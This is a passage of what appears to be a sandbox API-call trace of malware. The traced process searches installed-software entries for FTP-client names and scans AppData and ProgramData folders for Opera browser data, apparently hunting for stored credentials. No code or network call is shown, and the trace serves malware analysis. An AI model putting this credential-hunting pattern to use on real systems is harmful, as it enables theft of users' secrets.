(lpFirst="MsiExec.exe /X{90140000-00A1-0409-0000-0000000FF1CE}", lpSrch="FTPCON") returned 0x0 [0068.489] StrStrIA (lpFirst="{90140000-00A1-0409-0000-0000000FF1CE}Microsoft Office OneNote MUI (English) 2010", lpSrch="FTP CONTROL") returned 0x0 [0068.489] StrStrIA (lpFirst="MsiExec.exe /X{90140000-00B4-0409-0000-0000000FF1CE}", lpSrch="FTPCON") returned 0x0 [0068.489] StrStrIA (lpFirst="{90140000-00B4-0409-0000-0000000FF1CE}Microsoft Office Project MUI (English) 2010", lpSrch="FTP CONTROL") returned 0x0 [0068.489] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-00B4-0409-0000-0000000FF1CE}\" \"{18A0C151-8F8A-4B68-A960-60C464B94329}\" \"1033\" \"0\"", lpSrch="FTPCON") returned 0x0 [0068.489] StrStrIA (lpFirst="{90140000-00B4-0409-0000-0000000FF1CE}_Office14.PRJPROR_{18A0C151-8F8A-4B68-A960-60C464B94329}Microsoft Project 2010 Service Pack 1 (SP1)", lpSrch="FTP CONTROL") returned 0x0 [0068.489] StrStrIA (lpFirst="MsiExec.exe /X{90140000-00BA-0409-0000-0000000FF1CE}", lpSrch="FTPCON") returned 0x0 [0068.489] StrStrIA (lpFirst="{90140000-00BA-0409-0000-0000000FF1CE}Microsoft Office Groove MUI (English) 2010", lpSrch="FTP CONTROL") returned 0x0 [0068.489] StrStrIA (lpFirst="MsiExec.exe /X{90140000-0115-0409-0000-0000000FF1CE}", lpSrch="FTPCON") returned 0x0 [0068.489] StrStrIA (lpFirst="{90140000-0115-0409-0000-0000000FF1CE}Microsoft Office Shared Setup Metadata MUI (English) 2010", lpSrch="FTP CONTROL") returned 0x0 [0068.489] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-0115-0409-0000-0000000FF1CE}\" \"{4560037C-E356-444A-A015-D21F487D809E}\" \"1033\" \"0\"", lpSrch="FTPCON") returned 0x0 [0068.489] StrStrIA (lpFirst="{90140000-0115-0409-0000-0000000FF1CE}_Office14.PRJPROR_{4560037C-E356-444A-A015-D21F487D809E}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="FTP CONTROL") returned 0x0 [0068.489] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-0115-0409-0000-0000000FF1CE}\" \"{4560037C-E356-444A-A015-D21F487D809E}\" \"1033\" \"0\"", lpSrch="FTPCON") returned 0x0 [0068.489] StrStrIA (lpFirst="{90140000-0115-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{4560037C-E356-444A-A015-D21F487D809E}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="FTP CONTROL") returned 0x0 [0068.489] StrStrIA (lpFirst="MsiExec.exe /X{90140000-0117-0409-0000-0000000FF1CE}", lpSrch="FTPCON") returned 0x0 [0068.489] StrStrIA (lpFirst="{90140000-0117-0409-0000-0000000FF1CE}Microsoft Office Access Setup Metadata MUI (English) 2010", lpSrch="FTP CONTROL") returned 0x0 [0068.489] StrStrIA (lpFirst="MsiExec.exe /X{91140000-0011-0000-0000-0000000FF1CE}", lpSrch="FTPCON") returned 0x0 [0068.490] StrStrIA (lpFirst="{91140000-0011-0000-0000-0000000FF1CE}Microsoft Office Professional Plus 2010", lpSrch="FTP CONTROL") returned 0x0 [0068.490] StrStrIA (lpFirst="MsiExec.exe /X{91140000-003B-0000-0000-0000000FF1CE}", lpSrch="FTPCON") returned 0x0 [0068.490] StrStrIA (lpFirst="{91140000-003B-0000-0000-0000000FF1CE}Microsoft Office Project Professional 2010", lpSrch="FTP CONTROL") returned 0x0 [0068.490] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{91140000-003B-0000-0000-0000000FF1CE}\" \"{8A8F117F-8EDB-440D-B679-F08909D729F7}\" \"1033\" \"0\"", lpSrch="FTPCON") returned 0x0 [0068.490] StrStrIA (lpFirst="{91140000-003B-0000-0000-0000000FF1CE}_Office14.PRJPROR_{8A8F117F-8EDB-440D-B679-F08909D729F7}Microsoft Project 2010 Service Pack 1 (SP1)", lpSrch="FTP CONTROL") returned 0x0 [0068.490] StrStrIA (lpFirst="MsiExec.exe /X{91140000-0057-0000-0000-0000000FF1CE}", lpSrch="FTPCON") returned 0x0 [0068.490] StrStrIA (lpFirst="{91140000-0057-0000-0000-0000000FF1CE}Microsoft Office Visio 2010", lpSrch="FTP CONTROL") returned 0x0 [0068.490] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{91140000-0057-0000-0000-0000000FF1CE}\" \"{01D8AE4B-A04D-47E5-81BF-E3F98B81B8C3}\" \"1033\" \"0\"", lpSrch="FTPCON") returned 0x0 [0068.490] StrStrIA (lpFirst="{91140000-0057-0000-0000-0000000FF1CE}_Office14.VISIOR_{01D8AE4B-A04D-47E5-81BF-E3F98B81B8C3}Microsoft Visio 2010 Service Pack 1 (SP1)", lpSrch="FTP CONTROL") returned 0x0 [0068.490] StrStrIA (lpFirst="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SetupCache\\v4.6.00081\\\\Setup.exe /repair /x86", lpSrch="FTPCON") returned 0x0 [0068.490] StrStrIA (lpFirst="{92FB6C44-E685-45AD-9B20-CADF4CABA132} - 1033Microsoft .NET Framework 4.6", lpSrch="FTP CONTROL") returned 0x0 [0068.490] StrStrIA (lpFirst="MsiExec.exe /X{9BE518E6-ECC6-35A9-88E4-87755C07200F}", lpSrch="FTPCON") returned 0x0 [0068.490] StrStrIA (lpFirst="{9BE518E6-ECC6-35A9-88E4-87755C07200F}Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161", lpSrch="FTP CONTROL") returned 0x0 [0068.490] StrStrIA (lpFirst="MsiExec.exe /I{AC76BA86-7AD7-FFFF-7B44-AA0000000001}", lpSrch="FTPCON") returned 0x0 [0068.490] StrStrIA (lpFirst="{AC76BA86-7AD7-FFFF-7B44-AA0000000001}Adobe Reader X MUI", lpSrch="FTP CONTROL") returned 0x0 [0068.490] StrStrIA (lpFirst="MsiExec.exe /X{B175520C-86A2-35A7-8619-86DC379688B9}", lpSrch="FTPCON") returned 0x0 [0068.490] StrStrIA (lpFirst="{B175520C-86A2-35A7-8619-86DC379688B9}Microsoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030", lpSrch="FTP CONTROL") returned 0x0 [0068.490] StrStrIA (lpFirst="MsiExec.exe /X{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}", lpSrch="FTPCON") returned 0x0 [0068.490] StrStrIA (lpFirst="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}Microsoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030", lpSrch="FTP CONTROL") returned 0x0 [0068.490] StrStrIA (lpFirst="\"C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe\" /uninstall", lpSrch="FTPCON") returned 0x0 [0068.490] StrStrIA (lpFirst="{e6e75766-da0f-4ba2-9788-6ea593ce702d}Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501", lpSrch="FTP CONTROL") returned 0x0 [0068.491] StrStrIA (lpFirst="MsiExec.exe /X{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}", lpSrch="FTPCON") returned 0x0 [0068.491] StrStrIA (lpFirst="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219", lpSrch="FTP CONTROL") returned 0x0 [0068.491] StrStrIA (lpFirst="\"C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe\" /uninstall", lpSrch="FTPCON") returned 0x0 [0068.491] StrStrIA (lpFirst="{f325f05b-f963-4640-a43b-c8a494cdda0f}Microsoft Visual C++ 2017 Redistributable (x86) - 14.10.25017", lpSrch="FTP CONTROL") returned 0x0 [0068.491] StrStrIA (lpFirst="MsiExec.exe /X{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}", lpSrch="FTPCON") returned 0x0 [0068.491] StrStrIA (lpFirst="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005", lpSrch="FTP CONTROL") returned 0x0 [0068.491] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0068.491] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0068.491] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fecc*=0x10, cb=0x4, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x4) returned 0x0 [0068.491] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0068.491] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0068.491] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0068.491] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0068.491] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0068.491] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x8) returned 0x0 [0068.491] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed0*=0x0, cb=0x4, pcbWritten=0x12feac | out: pcbWritten=0x12feac*=0x4) returned 0x0 [0068.492] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee4*=0x21, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0068.492] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee8*=0x0, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0068.492] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0068.492] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 0x0 [0068.492] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 32 [0068.492] lstrlenA (lpString="\\*.*") returned 4 [0068.492] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x6292f8 [0068.492] lstrcpyA (in: lpString1=0x6292f8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming" [0068.492] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\*.*" [0068.492] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\*.*", lpFindFileData=0x12fd8a | out: lpFindFileData=0x12fd8a) returned 0x6426a8 [0068.492] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0068.492] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd8a | out: lpFindFileData=0x12fd8a) returned 1 [0068.492] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0068.492] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0068.492] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd8a | out: lpFindFileData=0x12fd8a) returned 1 [0068.493] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd8a | out: lpFindFileData=0x12fd8a) returned 1 [0068.493] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd8a | out: lpFindFileData=0x12fd8a) returned 1 [0068.493] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd8a | out: lpFindFileData=0x12fd8a) returned 1 [0068.493] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd8a | out: lpFindFileData=0x12fd8a) returned 1 [0068.493] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd8a | out: lpFindFileData=0x12fd8a) returned 1 [0068.493] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd8a | out: lpFindFileData=0x12fd8a) returned 1 [0068.493] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd8a | out: lpFindFileData=0x12fd8a) returned 1 [0068.493] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd8a | out: lpFindFileData=0x12fd8a) returned 1 [0068.493] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd8a | out: lpFindFileData=0x12fd8a) returned 1 [0068.493] lstrcmpiA (lpString1=".", lpString2="Adobe") returned -1 [0068.493] lstrcmpiA (lpString1="..", lpString2="Adobe") returned -1 [0068.493] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 32 [0068.493] lstrlenA (lpString="\\") returned 1 [0068.493] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x629248 [0068.493] lstrcpyA (in: lpString1=0x629248, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming" [0068.493] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\" [0068.493] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\") returned 33 [0068.493] lstrlenA (lpString="Adobe") returned 5 [0068.493] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x6293a8 [0068.493] lstrcpyA (in: lpString1=0x6293a8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\" [0068.493] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\", lpString2="Adobe" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Adobe") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Adobe" [0068.493] LocalFree (hMem=0x629248) returned 0x0 [0068.493] StrStrIA (lpFirst="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Adobe", lpSrch="opera") returned 0x0 [0068.493] LocalFree (hMem=0x6293a8) returned 0x0 [0068.493] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd8a | out: lpFindFileData=0x12fd8a) returned 1 [0068.493] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd8a | out: lpFindFileData=0x12fd8a) returned 1 [0068.493] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd8a | out: lpFindFileData=0x12fd8a) returned 1 [0068.493] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd8a | out: lpFindFileData=0x12fd8a) returned 1 [0068.493] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd8a | out: lpFindFileData=0x12fd8a) returned 1 [0068.493] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd8a | out: lpFindFileData=0x12fd8a) returned 1 [0068.493] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd8a | out: lpFindFileData=0x12fd8a) returned 1 [0068.493] lstrcmpiA (lpString1=".", lpString2="Identities") returned -1 [0068.493] lstrcmpiA (lpString1="..", lpString2="Identities") returned -1 [0068.493] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 32 [0068.493] lstrlenA (lpString="\\") returned 1 [0068.493] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x6293a8 [0068.493] lstrcpyA (in: lpString1=0x6293a8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming" [0068.493] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\" [0068.493] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\") returned 33 [0068.493] lstrlenA (lpString="Identities") returned 10 [0068.494] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x641518 [0068.494] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\" [0068.494] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\", lpString2="Identities" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Identities") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Identities" [0068.494] LocalFree (hMem=0x6293a8) returned 0x0 [0068.494] StrStrIA (lpFirst="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Identities", lpSrch="opera") returned 0x0 [0068.494] LocalFree (hMem=0x641518) returned 0x0 [0068.494] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd8a | out: lpFindFileData=0x12fd8a) returned 1 [0068.494] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd8a | out: lpFindFileData=0x12fd8a) returned 1 [0068.494] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd8a | out: lpFindFileData=0x12fd8a) returned 1 [0068.494] lstrcmpiA (lpString1=".", lpString2="Macromedia") returned -1 [0068.494] lstrcmpiA (lpString1="..", lpString2="Macromedia") returned -1 [0068.494] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 32 [0068.494] lstrlenA (lpString="\\") returned 1 [0068.494] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x6293a8 [0068.494] lstrcpyA (in: lpString1=0x6293a8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming" [0068.494] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\" [0068.494] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\") returned 33 [0068.494] lstrlenA (lpString="Macromedia") returned 10 [0068.494] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x641518 [0068.494] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\" [0068.494] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\", lpString2="Macromedia" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Macromedia") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Macromedia" [0068.494] LocalFree (hMem=0x6293a8) returned 0x0 [0068.494] StrStrIA (lpFirst="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Macromedia", lpSrch="opera") returned 0x0 [0068.494] LocalFree (hMem=0x641518) returned 0x0 [0068.494] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd8a | out: lpFindFileData=0x12fd8a) returned 1 [0068.494] lstrcmpiA (lpString1=".", lpString2="Microsoft") returned -1 [0068.494] lstrcmpiA (lpString1="..", lpString2="Microsoft") returned -1 [0068.494] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 32 [0068.494] lstrlenA (lpString="\\") returned 1 [0068.494] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x6293a8 [0068.494] lstrcpyA (in: lpString1=0x6293a8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming" [0068.494] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\" [0068.494] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\") returned 33 [0068.494] lstrlenA (lpString="Microsoft") returned 9 [0068.494] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x641518 [0068.494] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\" [0068.494] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\", lpString2="Microsoft" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Microsoft") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Microsoft" [0068.495] LocalFree (hMem=0x6293a8) returned 0x0 [0068.495] StrStrIA (lpFirst="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Microsoft", lpSrch="opera") returned 0x0 [0068.495] LocalFree (hMem=0x641518) returned 0x0 [0068.495] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd8a | out: lpFindFileData=0x12fd8a) returned 1 [0068.495] lstrcmpiA (lpString1=".", lpString2="Mozilla") returned -1 [0068.495] lstrcmpiA (lpString1="..", lpString2="Mozilla") returned -1 [0068.495] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 32 [0068.495] lstrlenA (lpString="\\") returned 1 [0068.495] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x6293a8 [0068.495] lstrcpyA (in: lpString1=0x6293a8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming" [0068.495] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\" [0068.495] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\") returned 33 [0068.495] lstrlenA (lpString="Mozilla") returned 7 [0068.495] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x641518 [0068.495] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\" [0068.495] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\", lpString2="Mozilla" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla" [0068.495] LocalFree (hMem=0x6293a8) returned 0x0 [0068.495] StrStrIA (lpFirst="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla", lpSrch="opera") returned 0x0 [0068.495] LocalFree (hMem=0x641518) returned 0x0 [0068.495] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd8a | out: lpFindFileData=0x12fd8a) returned 1 [0068.495] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd8a | out: lpFindFileData=0x12fd8a) returned 1 [0068.495] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd8a | out: lpFindFileData=0x12fd8a) returned 1 [0068.495] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd8a | out: lpFindFileData=0x12fd8a) returned 1 [0068.495] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd8a | out: lpFindFileData=0x12fd8a) returned 1 [0068.495] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd8a | out: lpFindFileData=0x12fd8a) returned 1 [0068.495] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd8a | out: lpFindFileData=0x12fd8a) returned 1 [0068.495] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd8a | out: lpFindFileData=0x12fd8a) returned 1 [0068.495] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd8a | out: lpFindFileData=0x12fd8a) returned 1 [0068.495] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd8a | out: lpFindFileData=0x12fd8a) returned 1 [0068.495] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd8a | out: lpFindFileData=0x12fd8a) returned 0 [0068.495] FindClose (in: hFindFile=0x6426a8 | out: hFindFile=0x6426a8) returned 1 [0068.495] LocalFree (hMem=0x6292f8) returned 0x0 [0068.496] LocalFree (hMem=0x626a88) returned 0x0 [0068.496] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0068.496] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\ProgramData") returned 0x0 [0068.496] lstrlenA (lpString="C:\\ProgramData") returned 14 [0068.496] lstrlenA (lpString="\\*.*") returned 4 [0068.496] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x641518 [0068.496] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0068.496] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\*.*") returned="C:\\ProgramData\\*.*" [0068.496] FindFirstFileA (in: lpFileName="C:\\ProgramData\\*.*", lpFindFileData=0x12fd8a | out: lpFindFileData=0x12fd8a) returned 0x6426a8 [0068.496] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0068.496] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd8a | out: lpFindFileData=0x12fd8a) returned 1 [0068.496] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0068.496] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0068.496] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd8a | out: lpFindFileData=0x12fd8a) returned 1 [0068.496] lstrcmpiA (lpString1=".", lpString2="Adobe") returned -1 [0068.496] lstrcmpiA (lpString1="..", lpString2="Adobe") returned -1 [0068.496] lstrlenA (lpString="C:\\ProgramData") returned 14 [0068.496] lstrlenA (lpString="\\") returned 1 [0068.496] LocalAlloc (uFlags=0x40, uBytes=0x90) returned 0x6415b8 [0068.496] lstrcpyA (in: lpString1=0x6415b8, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0068.496] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0068.496] lstrlenA (lpString="C:\\ProgramData\\") returned 15 [0068.496] lstrlenA (lpString="Adobe") returned 5 [0068.496] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x646a98 [0068.496] lstrcpyA (in: lpString1=0x646a98, lpString2="C:\\ProgramData\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0068.496] lstrcatA (in: lpString1="C:\\ProgramData\\", lpString2="Adobe" | out: lpString1="C:\\ProgramData\\Adobe") returned="C:\\ProgramData\\Adobe" [0068.496] LocalFree (hMem=0x6415b8) returned 0x0 [0068.496] StrStrIA (lpFirst="C:\\ProgramData\\Adobe", lpSrch="opera") returned 0x0 [0068.496] LocalFree (hMem=0x646a98) returned 0x0 [0068.496] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd8a | out: lpFindFileData=0x12fd8a) returned 1 [0068.496] lstrcmpiA (lpString1=".", lpString2="Application Data") returned -1 [0068.497] lstrcmpiA (lpString1="..", lpString2="Application Data") returned -1 [0068.497] lstrlenA (lpString="C:\\ProgramData") returned 14 [0068.497] lstrlenA (lpString="\\") returned 1 [0068.497] LocalAlloc (uFlags=0x40, uBytes=0x90) returned 0x6415b8 [0068.497] lstrcpyA (in: lpString1=0x6415b8, lpString2="C:\\ProgramData" | 